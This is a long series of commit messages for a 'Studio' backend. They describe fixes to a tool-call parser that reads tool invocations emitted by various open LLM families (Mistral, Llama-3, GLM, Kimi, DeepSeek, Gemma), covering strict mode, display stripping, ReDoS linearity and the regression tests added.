  pytest studio/backend/tests/test_safetensors_tool_loop.py
         studio/backend/tests/test_safetensors_capability_advertise.py
         studio/backend/tests/test_pr5624_regressions.py -q
  -> 175 passed in 1.97s
  pytest studio/backend/tests/ -q -k 'not gpu and not llama_cpp_integration'
  -> 2038 passed, 15 pre-existing failures unchanged.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: terminate function-XML body at </function>, not just </tool_call>

`_parse_function_xml` was looking for `</tool_call>` (the Hermes
wrapper) as the body terminator. When a model emits a standalone
`<function=NAME><parameter=K>v</parameter></function>` followed by
explanatory prose (which models routinely do), no `</tool_call>` is
present, so the body extended to end-of-string and the trailing
prose leaked into the LAST parameter value.

Pre-existing on main (the legacy `<function=NAME>` form had this
bug too). Same affects PR #5620's new attribute-form
`<function name="NAME"><param name="K">v</param></function>`
emission used by MiniCPM-5 / MiniMax-M2.

Fix: `_TC_END_TAG_RE` now matches either `</tool_call>` OR
`</function>`. The existing `_TC_FUNC_CLOSE_RE` / `_TC_PARAM_CLOSE_RE`
strips are unchanged. Multi-call inputs still bound each function
at the next `<function=` start, so no over-eager consumption.

New tests:

* `test_function_xml_followed_by_prose` (legacy form + prose)
* `test_function_attribute_xml_followed_by_prose` (attribute form + prose)

Existing `test_code_with_embedded_xml` still passes (a parameter
value containing literal `<a></a>` is preserved because the
embedded close tag is `</a>`, not `</function>`).

`pytest studio/backend/tests/test_safetensors_tool_loop.py
        studio/backend/tests/test_safetensors_capability_advertise.py -q`
goes from 125 to 127 passed.

* Studio: tighten Llama-3.2 bare-JSON guard

A fuzz pass on PR #5811 turned up that ``_parse_llama3_bare_json``
accepted ``parameters`` as a string, contradicting the docstring's
"parameters or arguments is a dict" guard. Prose JSON like
``{"name":"foo","parameters":"a sentence"}`` would wrongly fire the
parser, which the agentic loop would then heal into a real
``foo(query="a sentence")`` call.

Same code lives on this branch, so the same fix applies here.

Tightened guard:

  - ``parameters`` must be a dict (Llama-3 spec).
  - ``arguments`` may be a dict, or a JSON-encoded string that
    decodes to a dict (OpenAI shape, e.g.
    ``"arguments":"{\"q\":\"x\"}"``). Plain non-JSON strings or
    JSON-strings of lists / scalars / null no longer pass.

Mirrors the fix landed in PR #5811 commit 615b8608. Adds the same
4 regression tests under TestParserMultiFormat.

Existing test suite stays green: 127 -> 131 passing.

* Studio: skip non-scalar args in python_tag JSON form

The JSON sub-path of ``_parse_llama3_python_tag`` was fabricating
``{"value": args}`` when the model emitted a non-dict / non-string
``arguments`` value (e.g. ``42``, ``[1,2,3]``, ``null``, ``true``).
This silently turned a malformed emission into a real tool call,
which the agentic loop would then execute with arguments the model
never intended.

Tightened: skip the call instead of fabricating. The same
behaviour now matches the bare-JSON guard tightened earlier
(strict-guard merge from PR #5620, inherited via merge here).

Added a regression test covering the four non-scalar shapes.
Pass count on this branch: 158 -> 159.

Sites in ``_parse_tool_call_json`` and ``_consume_mistral_call``
keep the existing looser behaviour for now; both are reached
only after explicit ``<tool_call>`` / ``[TOOL_CALLS]`` markers
so the false-positive surface there is much narrower.

* studio: fix safetensors tool-call parser gaps vs llama.cpp (Mistral CALL_ID / THINK, attribute-form signal)

Three GGUF-parity fixes to the safetensors tool-call parser, each matching
llama.cpp's reference behaviour:

- Mistral Small 3.2 emits [TOOL_CALLS]name[CALL_ID]<id>[ARGS]{json}. The
  parser stopped after the name on seeing [CALL_ID] (neither [ARGS] nor {),
  dropping the call. Skip an optional [CALL_ID]<id> segment in both the
  parse and strip paths. llama.cpp parses this (test-chat.cpp:4785).

- Magistral wraps reasoning in [THINK]...[/THINK]. A [TOOL_CALLS] inside the
  reasoning was parsed as a real call, producing a phantom call. Strip a
  leading [THINK] block before scanning so only the post-reasoning call
  counts (test-chat.cpp:2285); a literal [THINK] inside a later argument is
  left intact.

- The standalone MiniCPM-5 / MiniMax-M2 <function name="..."> attribute form
  parsed correctly but was absent from TOOL_XML_SIGNALS and the markup strip
  patterns, so the streaming safety-net parse was gated off (dropping the
  call) and markup leaked into displayed text. Add the signal and broaden
  the strip regexes.

Adds regression tests for all three.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* studio: fix GLM and Kimi K2 safetensors tool-call parser gaps vs llama.cpp

Four GGUF-parity fixes for the GLM and Kimi K2 families:

- GLM 4.7 zero-argument inline call <tool_call>name</tool_call> was dropped:
  the open-tag lookahead only allowed \n or <arg_key> after the name. Allow
  </tool_call> too so a no-arg call parses to empty args (vLLM / SGLang /
  llama.cpp all parse it).

- GLM string argument values were stripped, losing significant leading /
  trailing whitespace in code / diff arguments. Keep the raw value for the
  string fallback and only strip the copy used to probe for a JSON literal,
  matching vLLM glm4_moe which never strips string args.

- Kimi K2 calls emitted without the <|tool_calls_section_begin|> wrapper
  were dropped. llama.cpp makes the section optional (Kimi can call a tool
  straight after reasoning without opening a section); parse a bare
  <|tool_call_begin|> when no section is present.

- Kimi K2 malformed / truncated JSON in one call dropped every later call in
  the section. Skip the bad call and keep parsing so valid subsequent calls
  are recovered (vLLM parity).

Adds regression tests for all four.

* studio: fire safetensors tool calls for the bare-JSON (Llama-3.2) form

The agentic loop's streaming safety-net parse was gated on
has_tool_signal(), which is False for the Llama-3.1 / 3.2 bare-JSON tool
form {"name":..,"parameters":..} (no XML marker). Real tool calls were
therefore dropped: the loop logged "model planned without calling tools",
re-prompted three times, then gave up with zero tool calls, while GGUF's
llama-server parses the same emission natively.

Run parse_tool_calls_from_text() unconditionally in the safety net. The
parser is strict (only fires on a valid tool-call shape) so plain answers
are unaffected. Reproduced on a real unsloth/Llama-3.1-8B-Instruct run:
the model emits {"name":"web_search","parameters":{...}} which now
executes the tool instead of being re-prompted into a no-op.

Adds a loop regression test for the bare-JSON form.

* studio: fire safetensors tool calls for Gemma 4 (native template + stripped parser)

Gemma-4 safetensors fired no tools while its GGUF fired reliably. Three gaps:

- The Studio swaps in the Unsloth "gemma-4" chat template, which does not
  render the tools schema (the model's native template does), so the model
  never saw the tools. Fall back to the model's native template when the
  override template renders identically with and without tools. Same fix
  helps any family whose override template drops tools.
- skip_special_tokens strips the <|tool_call> wrapper and <|"|> string
  markers, so a streamed Gemma-4 call arrives as a bare call:NAME{k:v, ...}
  with unquoted values. Parse that form, keeping commas/braces inside a
  code or command value, normalising surrounding quotes, and stripping the
  leaked markup from the final answer.
- Without a grammar a small model can loop, repeating one call for the whole
  tool budget. Collapse exact-duplicate calls within a turn and force a final
  answer after a turn that made no new tool progress (llama-server's lazy
  grammar prevents this loop on the GGUF side).

Adds parser tests for the bare/stripped Gemma-4 form.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: complete strict-mode contract and fix parser import paths

Address review findings on the multi-format tool-call parser:

- Honor allow_incomplete=False in the remaining sub-parsers. The Llama-3
  <|python_tag|>NAME.call(...) parser, the pre-v11 Mistral [TOOL_CALLS] array
  parser, and the Gemma 4 <|tool_call> parser ignored strict mode, so a
  truncated call (missing closing paren, ], or <tool_call|>) was still healed
  and executed with Auto-Heal disabled. Thread strictness through and reject
  the unclosed forms, matching the JSON and function-XML paths.
- Drop the duplicate tool_call_parser import block in llama_cpp.py and the
  redundant un-aliased TOOL_XML_SIGNALS; only the _SHARED_TOOL_XML_SIGNALS
  alias is used as a value.
- Import _strip_mistral_closed_calls from core.inference.tool_call_parser in
  routes/inference.py instead of studio.backend.core... The self-contained
  run.py launch mode only puts studio/backend on sys.path, so the absolute
  package path raised ModuleNotFoundError on the server-tool strip path.

Add strict-mode regression tests for the truncated Llama-3 dot-call and the
unclosed Mistral array.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: harden DeepSeek/Kimi tool-call parsing and strip

Address review findings on the DeepSeek and Kimi parsers:

- Honor allow_incomplete=False for DeepSeek. An envelope with no closing
  <｜tool▁calls▁end｜> is truncated mid-stream; reject it in strict mode
  instead of healing the body out to EOF, matching the strict XML and Mistral
  paths.
- Do not skip a following tool call when the current call's end marker is
  missing. The DeepSeek V3 and Kimi loops advanced by searching forward for the
  next <｜tool▁call▁end｜> / <|tool_call_end|>, which could land on a later
  call's end marker and drop the call in between. Advance by the JSON end; the
  loop re-locates the next call marker from there.
- Strip truncated DeepSeek and Kimi section blocks in the route-level display
  regex. The patterns required the closing marker; add the end-of-text
  alternative so a block truncated by EOS does not leak raw markup to the UI.

Add regression tests for the truncated DeepSeek envelope, and for DeepSeek and
Kimi multi-call recovery when the first call's end marker is missing.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: preserve XML param indentation and alias Mistral array parameters

Two parser-correctness fixes found by auditing against the model chat templates
and the SGLang / vLLM reference parsers:

- Qwen3.5 XML parameter values lost their leading indentation. The chat template
  emits <parameter=k>\nVALUE\n</parameter>, but the parameter-start regex ate the
  wrapping newline AND the value's first-line indentation with a trailing \s*,
  then str.strip() removed the rest. Narrow the trailing class to horizontal
  whitespace only and trim exactly one wrapping newline (via _trim_param_value),
  preserving indentation in code/diff arguments. Matches SGLang's qwen3_coder
  detector. Applies to both _parse_function_xml (tool_call_parser.py) and the XML
  path in tool_healing.py.
- Mistral pre-v11 array objects keyed on parameters dropped their payload.
  _consume_mistral_call read only the arguments key; alias parameters the same way
  the JSON/XML paths and SGLang's base detector do.

Add regression tests for preserved multi-line indentation and the array
parameters alias.

* Studio: DeepSeek strip sync, Gemma nested args, GLM/Kimi strict mode

Parser-correctness fixes found by auditing DeepSeek/GLM/Kimi against vLLM,
SGLang, and the model chat templates:

- DeepSeek: the short <｜tool▁calls｜> opener (and the space / escaped-underscore
  spellings) was parsed but never stripped, so a short-opener envelope leaked raw
  markup to the UI. Share one opener alternation between _DEEPSEEK_BEGIN_RE and
  the strip patterns (and the route-level display regex) so a signal we parse can
  never be left un-stripped.
- Gemma wrapper-less stream: a nested object/array argument (loc:{city:NYC},
  labels:[bug,ui]) was kept as a literal string. Parse it recursively when the
  bare value is a balanced {} / [], falling back to the raw string for a
  truncated value.
- GLM and Kimi ignored allow_incomplete. With Auto-Heal off, a GLM block with no
  </tool_call>, a Kimi section with no <|tool_calls_section_end|>, or a Kimi call
  with no <|tool_call_end|> are truncated and must be rejected, matching the
  strict behavior of the JSON/XML/Mistral/DeepSeek paths and vLLM/SGLang.

Add regression tests for the short-opener strip, the Gemma nested args, and GLM /
Kimi strict-mode rejection.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: tighten tool-call parser comments

Make the comments in the multi-format tool-call parser and its callers succinct:
compress verbose docstrings/blocks to one or two lines, drop ones that restate the
code, and trim the tiny balanced-scanner helpers. Correctness rationale and
upstream provenance (SGLang/llama.cpp parity, the strict-mode / Auto-Heal
contract, whitespace-preservation, and the Unicode / full-width-pipe notes) are
kept in compact form.

Comment-only: no code or behavior change (verified with comment_tools.py check
--strip-docstrings; parser suite green).

* Studio: tighten DeepSeek/GLM/Kimi parser comments

Compress the comments added for the DeepSeek/GLM/Kimi parsers and the Gemma
wrapper-less helpers to one or two lines, keeping the upstream provenance
(llama.cpp 51fa458a92d6), the O(N^2) / strict-mode rationale, and the vLLM parity
notes intact.

Comment-only: no code or behavior change (verified with comment_tools.py check
--strip-docstrings; parser suite green).

* Studio: make DeepSeek R1 / GLM parsing linear and close routes strip gaps

Review follow-up for the DeepSeek/GLM/Kimi parser:

- DeepSeek R1 detection used a greedy ``([^\n]+)\n```json`` regex that backtracks
  O(N^2) on a fence-less truncated body; scan with str.find instead (mirrors the
  V3 path).
- GLM arg pairs used a lazy-group finditer that rescanned to EOF from each bare
  <arg_key> in an unclosed body (O(N^2)); walk pairs with str.find.
- The route display strip (_TOOL_XML_RE) accepted fewer DeepSeek openers than the
  parser (missed the space / escaped-underscore spellings) and missed bare
  section-less Kimi calls, so a call we parse could leak raw markup to the UI.
  Reuse the parser's shared _DEEPSEEK_OPEN_RE_SRC and add a bare-Kimi arm.

Add ReDoS-linearity regressions for the R1 and GLM paths, a positive R1
fenced-json parse test, and routes-strip tests for the space/escaped DeepSeek
openers and the bare Kimi call.

* Studio: fix test_mcp_servers _TOOL_XML_RE reconstruction after _DS_OPEN_SRC reuse

The routes strip fix made _TOOL_XML_RE reference the module-level
_DS_OPEN_SRC variable. test_mcp_servers reconstructs the regex by exec-ing
the extracted compile() source in a namespace that only defined _re, so it
raised NameError. Inject _DS_OPEN_SRC into that namespace, matching the same
fix already applied in test_tool_xml_strip.

* Studio: make Llama-3 .call and Mistral-array healing parsing linear

Two more O(n^2) ReDoS paths in the multi-format parser, both reachable from
the agentic loop on a long truncated body with no length cap:

- _LLAMA3_KV_RE.finditer over a .call(...) body retried at every offset of a
  long word run / unterminated quote (40K -> 14s). Replace with a hand-scan
  that reuses the same key/number/literal sub-regexes via anchored match and
  walks the string body by hand, so an unterminated quote is O(n). Verified
  byte-identical to the old regex over 200K fuzzed inputs.
- _parse_mistral_array healing ran _balanced_brace_end from every { in the
  body (20K -> 17s). Walk top-level objects, advancing past each balanced
  {...}; this also drops the phantom call the old scan emitted from a nested
  argument object.

Add adversarial-length linearity regressions plus positive .call kwargs and
unclosed-array recovery coverage.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: strengthen #5624 regression assertions and strip-test harness guards

- test_strip_tool_markup_handles_deepseek_envelope used `A or B` where B was the
  preservation property the next line already asserts, masking the real check.
  Replace with an explicit assertion that the call name and args are stripped.
- The test_tool_xml_strip source-extraction harness reconstructs _TOOL_XML_RE and
  _strip_tool_xml_for_display from routes/inference.py via lazy regexes that could
  silently grab a shorter slice. Assert the extracted regex carries the DeepSeek /
  bare-Kimi arms and the helper body reached the _TOOL_XML_RE.sub call.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: honor strict mode in safety-net, keep empty Gemma args, strip attribute-form function XML

- safetensors safety-net parser now forwards allow_incomplete=auto_heal_tool_calls,
  matching the draining path, so a late incomplete tool call is not healed and
  executed when Auto-Heal is off.
- Gemma empty bare value ({k:}) now serialises as "" instead of invalid {"k":},
  which previously dropped the whole call.
- Route _TOOL_XML_RE also strips the <function name="..."> attribute form
  (MiniCPM-5 / MiniMax-M2) so it no longer leaks to the UI.

* Studio: linearize wrapper-less Gemma nested-arg parsing and correct parser provenance

- _gemma_parse_value/_gemma_parse_mapping/_gemma_parse_array now parse nested
  {}/[] in a single forward pass instead of pre-scanning each subtree with a
  balanced-brace walk and re-parsing it. Deeply nested wrapper-less Gemma args
  were O(n^2); they are now ~linear (and ~40x faster at depth 400).
- Correct the DeepSeek/GLM/Kimi provenance comments: the cited commit
  51fa458a92d6 is unrelated, and GLM/Kimi were never standalone
  common_chat_parse_* functions (llama.cpp uses common_chat_params_init_glm_4_5
  plus a generalized XML parser, PRs #15904 / #16932).
- Add tests: Gemma deep-nesting linearity, nested object/array preservation,
  same-turn distinct-call cap, and the native-template tool-render fallback.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: guard Gemma value parser against non-advancement and missing tokenizer

Addresses Gemini review:
- _gemma_parse_value now consumes one character when a stray }/]/, sits where a
  value is expected, so _gemma_parse_array can never stall at the same index on
  malformed input (a latent infinite loop).
- _render_with_native_template returns None when neither a tokenizer nor a
  processor is present instead of raising AttributeError.
- Tests for both.

* Studio: fix attribute-form function-XML literal close tag and zero-arg strict call

Addresses Codex review of the <function name="..."> attribute form in
_parse_function_xml (MiniCPM-5 / MiniMax-M2):
- End the call body at the LAST </function> / </tool_call> within the call's
  window, so a literal close tag inside a code/search argument (e.g.
  print("</function>")) is preserved instead of truncating the call.
- Accept a closed call with no parameters as a valid zero-argument call in strict
  mode (the function close is already required), instead of rejecting it as a
  truncated call.
- Tests for both, mirroring the legacy <function=...> coverage.

* Studio: drop scratch review/planning artifacts from the branch

* Studio: fix tool-call parser/loop review findings on the multi-format path

Address the live code-review findings on the safetensors/MLX + GGUF tool path:

- routes: include the attribute form <function name="..."> in the safetensors
  capability whitelist so MiniCPM-5 / MiniMax-M2 templates keep the tool pill
  (parser already handles the form; the post-filter wrongly suppressed it).
- safetensors loop: build the plan-without-action re-prompt from the active
  tools instead of a hardcoded web_search/python string, and gate it on
  auto_heal_tool_calls, matching the GGUF loop.
- safetensors loop: hold a leading bare-JSON object ({"name":..,"parameters":..})
  during BUFFERING until it closes, then drain it as a tool call instead of
  streaming the raw JSON to clients. The DRAINING/STREAMING resolvers still
  recover a plain JSON answer, so this can never drop content.
- parser: anchor the Llama-3 <|python_tag|>NAME.call(...) scan to the tag and
  chain ; -separated calls, so all semicolon-separated built-ins parse and a
  literal <|python_tag|>x.call(...) inside a JSON string argument no longer
  fires the wrong tool.
- parser: consume the optional trailing </s> after a named Mistral
  [TOOL_CALLS]name{json} call, mirroring the array shape.
- GGUF streaming strip: use the shared parser patterns (which know
  [TOOL_CALLS] and <|python_tag|>) so a textual tool call entering DRAINING is
  stripped instead of leaking the marker to streaming clients.
- routes: hoist the _strip_mistral_closed_calls import to module level.

Adds regression tests covering each fix; existing parser suite stays green.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: fix DeepSeek/GLM/Gemma tool-call review findings

Address the live code-review findings specific to the DeepSeek / GLM / Kimi
and native-template additions:

- parser: in strict mode (Auto-Heal off) require the per-call
  <｜tool▁call｜end｜> terminator for DeepSeek V3 calls instead of executing on
  a bare balanced object closed only by the envelope end.
- parser: keep GLM string arguments that begin with a quote verbatim (drop
  the leading-quote case from the JSON-decode probe) so a quoted search query
  is not decoded down to its inner text.
- parser: reject a GLM call with an unclosed <arg_value> in strict mode, and
  under Auto-Heal keep the partial value rather than dropping it to a no-arg
  call.
- parser: add a balanced wrapper-less Gemma strip (call:NAME{...}) so a nested
  object/array argument is removed whole instead of leaving a trailing brace;
  run the balanced Mistral and Gemma strips on the streaming display paths too.
- safetensors loop: buffer a leading wrapper-less Gemma call:NAME{...} so it
  drains and executes instead of streaming the raw call text.
- inference: render the native-template fallback on a shallow tokenizer copy
  instead of mutating the shared tokenizer outside the generation lock, and
  load the native template from base_model for LoRA adapters.

Adds regression tests for each; existing parser suite stays green.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: harden multi-format tool-call detection from review findings

Apply five targeted fixes from the review pass over the multi-format tool
path:

- routes: route display strip delegates to _strip_tool_xml so Mistral
  [TOOL_CALLS] blocks with nested JSON are removed from streamed display
  text, not just the XML forms.
- tool_call_parser: skip function/parameter starts that fall inside an
  already-open parameter block (_inside_open_parameter) so nested example
  payloads are not mis-parsed as new calls; extract
  strip_llama3_leading_sentinels so the bare-JSON guard is shared.
- safetensors_agentic: probe bare JSON through strip_llama3_leading_sentinels
  before the balanced-brace check so a leaked header sentinel does not defeat
  the guard.
- tool_healing: allow dotted tool names in the Gemma wrapped start pattern.
- llama_cpp (GGUF): buffer wrapper-less Llama-3.2 {"name":..} calls that carry
  no XML signal, drain a complete object silently and hold an incomplete one,
  and run the end-of-stream safety net unconditionally so markerless calls are
  detected and never leak the raw JSON (including truncated fragments).

Adds regression tests for the GGUF bare-JSON streaming path and the Mistral
display strip.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: stop bare-JSON tool calls leaking at EOF, oversized, and into history

The second review pass flagged that the Llama-3.2 bare-JSON tool-call handling
still leaked raw JSON in several spots; ``strip_tool_markup`` only knows
XML/bracket markup, so the bare-JSON form survived it. Fix them symmetrically
across the safetensors and GGUF loops:

- Safetensors stream-end resolver now routes a held bare-JSON fragment to
  DRAINING (mirroring GGUF) so a truncated ``{"name":..`` cut off by the end of
  the stream is dropped instead of flushed as assistant content. The 7/10
  reviewer finding.
- Both loops now drain (suppress) an oversized still-open bare-JSON call once it
  passes ``_MAX_BARE_JSON_BUFFER`` instead of streaming the raw prefix, gated on
  a ``"name"`` key so a giant plain JSON answer still streams; a complete
  oversized call still executes via the safety net.
- Add a shared ``strip_leading_bare_json_call`` helper and apply it to the
  content kept for the assistant turn in both loops, so an executed bare-JSON
  call is not replayed as visible text or fed back as next-turn history.

Plain JSON answers without a ``"name"`` key are untouched throughout. Adds
regression tests for the EOF, oversized, and next-turn cases on both backends
plus unit tests for the helper.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: bound the Llama-3 python_tag strip on real control sentinels

The route display strip's <|python_tag|> arm ran to the next <| of any kind.
A tool-call argument carrying a literal <|...|> token (for example <|cite|>
inside a string value) truncated the strip early and leaked the call tail into
the visible response. Narrow the stop condition to the genuine Llama control
sentinels (eot_id, eom_id, python_tag, start/end_header_id, begin_of_text,
finetune_right_pad_id) so embedded markup and JSON are consumed while real
header/turn boundaries still bound the strip.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: harden GLM/Gemma parsing, cap GGUF textual calls, share native-template fallback

GLM 4.x parser walked a body pre-bounded by the first </tool_call>, so a string
argument containing a literal </tool_call> (e.g. code that prints it) was
truncated. Walk arg_key/arg_value pairs against the full content instead, since
each <arg_value> is delimited by its own </arg_value> and the call's real close
is the </tool_call> that precedes the next <arg_key>.

Add a truncated wrapper-less Gemma pattern (call:NAME{... with no closing brace)
to the markup strip so a call cut off mid-arguments does not leak raw into the
visible stream. It runs after the closed form, so a complete call keeps trailing
prose.

Cap and dedup tool calls parsed from the GGUF TEXTUAL fallback at
_MAX_TOOL_CALLS_PER_TURN, mirroring the safetensors loop. Structured
delta.tool_calls are grammar-bounded by llama-server, but text parsed straight
from content is not, so one runaway turn could fan out into dozens of
executions.

Extract the native-chat-template fallback into chat_template_helpers
(render_native_template / render_with_native_template_fallback) so the
transformers and MLX text backends share one implementation. The MLX text path
now applies it too, so an Unsloth override template that drops the tools schema
no longer silently stops MLX from advertising tools. The MLX VLM path renders
via the processor for image tokens and is intentionally left on its own render.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: gate markerless bare JSON on enabled tools and close parser/strip asymmetries

The Llama-3.2 custom_tools bare-JSON form has no marker, so any JSON object with a
name key was read as a tool call. An ordinary JSON answer like
{"name":"Alice","parameters":{"age":30}} was misclassified as a call to a
disabled tool and dropped from the visible response. Gate the markerless form on
the enabled tool names (threaded through parse_tool_calls_from_text and
strip_leading_bare_json_call, supplied by both streaming loops): an object whose
name is not an enabled tool is ordinary content. The marker-based forms keep
their name-agnostic behaviour (an explicit signal is a real call attempt), and
unrestricted mode stays ungated.

Also fix two parser/strip asymmetries the parser already tolerated:
- A literal </function> inside a parameter value (print("</function>")) truncated
  both the core and route strips at the first close, leaking the tail. Extend the
  strip to the call's real close (last </function> before the next opener),
  mirroring the parser, without merging separate calls.
- The single-object Mistral [TOOL_CALLS]{...} shape parsed but _strip_mistral_closed_calls
  left it, leaking the raw object into display. Strip the balanced object while
  keeping trailing prose, matching the array and name shapes.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio tools: fix strip/parse symmetry and native-template token for DeepSeek/GLM/Kimi

Pass-3 review follow-ups on the multi-format tool parser:

- Bare Kimi call (<|tool_call_begin|>...<|tool_call_end|> with no section
  wrapper) is accepted by the parser, so add it to the closed strip patterns
  so the streaming (non-final) display strip removes it instead of leaking the
  markup mid-generation.
- Route display strip now also runs the wrapper-less Gemma cleanup, so a
  Gemma 4 call:NAME{..} no longer leaks into the visible answer.
- MLX model record carries base_model for a LoRA adapter so the native-template
  fallback loads the base repo template rather than the adapter's
  (often template-less) tokenizer.
- Native-template reload forwards the load-time HF token so a gated/private
  model's repo template can still be fetched (transformers and MLX text paths).
- GGUF end-of-stream bare-call heuristic is gated on the enabled tool names so a
  truncated ordinary JSON object ({"name":"Alice","age":) streams as the answer
  instead of being dropped as a tool call.

Adds regression tests for each case.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio tools: gate GGUF bare-JSON suppression on enabled tools and fix python-tag exponent parsing

Pass-4 review follow-ups on the GGUF tool loop and Llama-3 parser:

- The GGUF bare-JSON suppression sites still keyed off a raw "name" substring,
  so an ordinary JSON answer whose name is not an enabled tool was dropped when
  it was truncated, oversized, or reached the no-tool DRAINING fallback (the
  parser, helper, and safetensors paths were already gated). All three sites now
  use the shared enabled-name gate, and a held bare-JSON buffer that turns out not
  to be an enabled call is shown as the answer instead of dropped at stream end.
- The Llama-3 python-tag numeric kwarg regex matched only the mantissa, so
  scientific notation was truncated to its leading digits (1e-3 parsed as 1) and a
  tool executed with the wrong value. The regex now accepts exponent and decimal
  forms, and the int/float classification keys off the exponent too.

Adds regression tests for the truncated / oversized disabled-name JSON cases (and
a counterpart that a truncated enabled call still does not leak) plus the
scientific-notation kwargs.

* Studio: drop accidentally committed async worker transcripts

Eight generated reviewer / async-worker transcripts were committed under
studio/backend/async_task_outputs/. They are not imported or referenced by any
code and carry only internal task state, so they should never ship in the repo.
Remove them and gitignore the directory so they cannot be re-added.

* Studio tools: gate safetensors bare-JSON drain, fix nested-name gate and function-XML strip

Pass-4 review follow-ups on the shared parser / safetensors loop:

- The safetensors oversized and end-of-stream bare-JSON drain branches keyed off
  a raw "name" substring, so a large or truncated ordinary JSON answer whose name
  is not an enabled tool was drained instead of streamed. Both now use the shared
  enabled-tool-name gate, matching the GGUF path.
- strip_leading_bare_json_call matched the first "name" anywhere, so a plain JSON
  answer with a nested name equal to an enabled tool ({"result":{"name":"web_search"}})
  was wrongly suppressed. It now extracts the TOP-LEVEL name only, walking past
  nested objects/arrays and keeping the text when a top-level value is truncated.
- The function-XML display strip used a regex negative-lookahead that stopped at a
  literal <function=...> opener inside a parameter value and then dropped the rest
  of the answer to EOF. A scan-based strip mirrors the parser (ignores openers
  inside an open <parameter> via _inside_open_parameter) and closes each call at its
  real </function>, so trailing assistant text after such a call survives.

Adds regression tests for each.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: keep tools prompt when native-template probe raises; make helper tests hermetic

Pass-4 review follow-ups on the native-template fallback:

- render_with_native_template_fallback re-renders the live template with tools=None
  to detect whether it dropped the schema. A template that requires tools can raise
  on that probe; that must not discard the already-valid tools prompt. The probe is
  now wrapped so any error returns the original formatted_prompt (transformers would
  otherwise fall back to manual formatting and lose the schema; MLX would let the
  exception escape).
- The native-template helper tests imported InferenceBackend just to reach the
  thin wrapper, which pulls in unsloth and its optional vllm package metadata. They
  now call the dependency-light render_native_template helper directly so they pass
  in a backend/test environment without vllm. Adds a probe-raises regression test.

* Tool parsing: 3.9 import safety, disabled-Auto-Heal contract, capability gate

Round-2 review follow-ups on the multi-format tool-call parser:

- tool_call_parser: add `from __future__ import annotations`. The module
  is dependency-light by design (external llama-server wrappers import it
  standalone) and the package targets python >=3.9, where its PEP 604
  `int | None` return annotations would raise TypeError on import.
- safetensors + GGUF drain fallback: gate the leading bare-JSON strip on
  auto_heal_tool_calls. With Auto-Heal off, a truncated enabled-name
  fragment that did not parse now stays visible, matching the XML strip
  in the same branch and the disabled-Auto-Heal contract. With Auto-Heal
  on it is still suppressed.
- safetensors capability gate: match the bare-JSON `{"name":` template
  marker with a whitespace/escape-tolerant regex so a pretty-printed
  `{ "name" :` or JSON-escaped `{\"name\":` template is not mis-classified
  as tool-less. The parser already accepts that whitespace via
  raw_decode, so the gate must too.

Regression tests added for each case.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* GLM tool-call display strip: treat literal close tag in arg value as data

Round-2 review follow-up on the GLM 4.x tool-call format.

The GLM call shape is <tool_call>NAME<arg_key>k</arg_key><arg_value>v
</arg_value>...</tool_call>. The parser was hardened to walk arg_key /
arg_value pairs so a literal </tool_call> inside an argument value (e.g.
print("</tool_call>")) is treated as data and the call's real close is the
</tool_call> that precedes the next <arg_key>. The display strips still used a
non-greedy <tool_call>.*?</tool_call> regex, which stopped at the literal and
leaked the call's tail into visible content and stale history.

Add _strip_glm_calls, a scan that mirrors the parser's close detection, and run
it before the regex arms in every strip pipeline: the core strip_tool_markup,
the route _strip_tool_xml display/history cleanup, and the safetensors + GGUF
streaming strips. Qwen / Hermes <tool_call>{json} has no NAME token after the
opener, so it is left to the regex arms unchanged.

Regression tests cover the literal-close-tag leak (core + route), normal GLM
calls, back-to-back GLM calls, zero-arg GLM, truncated GLM, and untouched Qwen.

* Tool parsing: symmetric "function" bare-JSON alias and route strip parity

Round-3 review follow-ups, all parser/strip symmetry fixes.

- Bare-JSON "function" alias: the markerless parser accepts a call name via
  obj.get("name") or obj.get("function"), but the strip/gates only knew "name",
  so a {"function":<enabled tool>} call executed while its raw JSON leaked. Teach
  _top_level_bare_json_name the alias (with "name" precedence and the same nested
  and truncated-name guards), and widen the guards in strip_leading_bare_json_call,
  the safetensors and GGUF _looks_like_enabled_bare_json gates, and the route
  capability marker regex.
- Route display/history cleanup: strip a tail-only </param> alias close (the
  parser accepts <param name="...">...</param>), and run the parser's guarded
  function-XML scan (_inside_open_parameter) before _TOOL_XML_RE so a literal
  nested <function=...></function> inside an argument value does not truncate the
  strip and leak the tail.

Regression tests added for each.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio tools: fix DeepSeek strict recovery, Kimi dotted names, Gemma spaced streaming

Round 3 review fixes for the DeepSeek / GLM / Kimi tool-call parsing path.

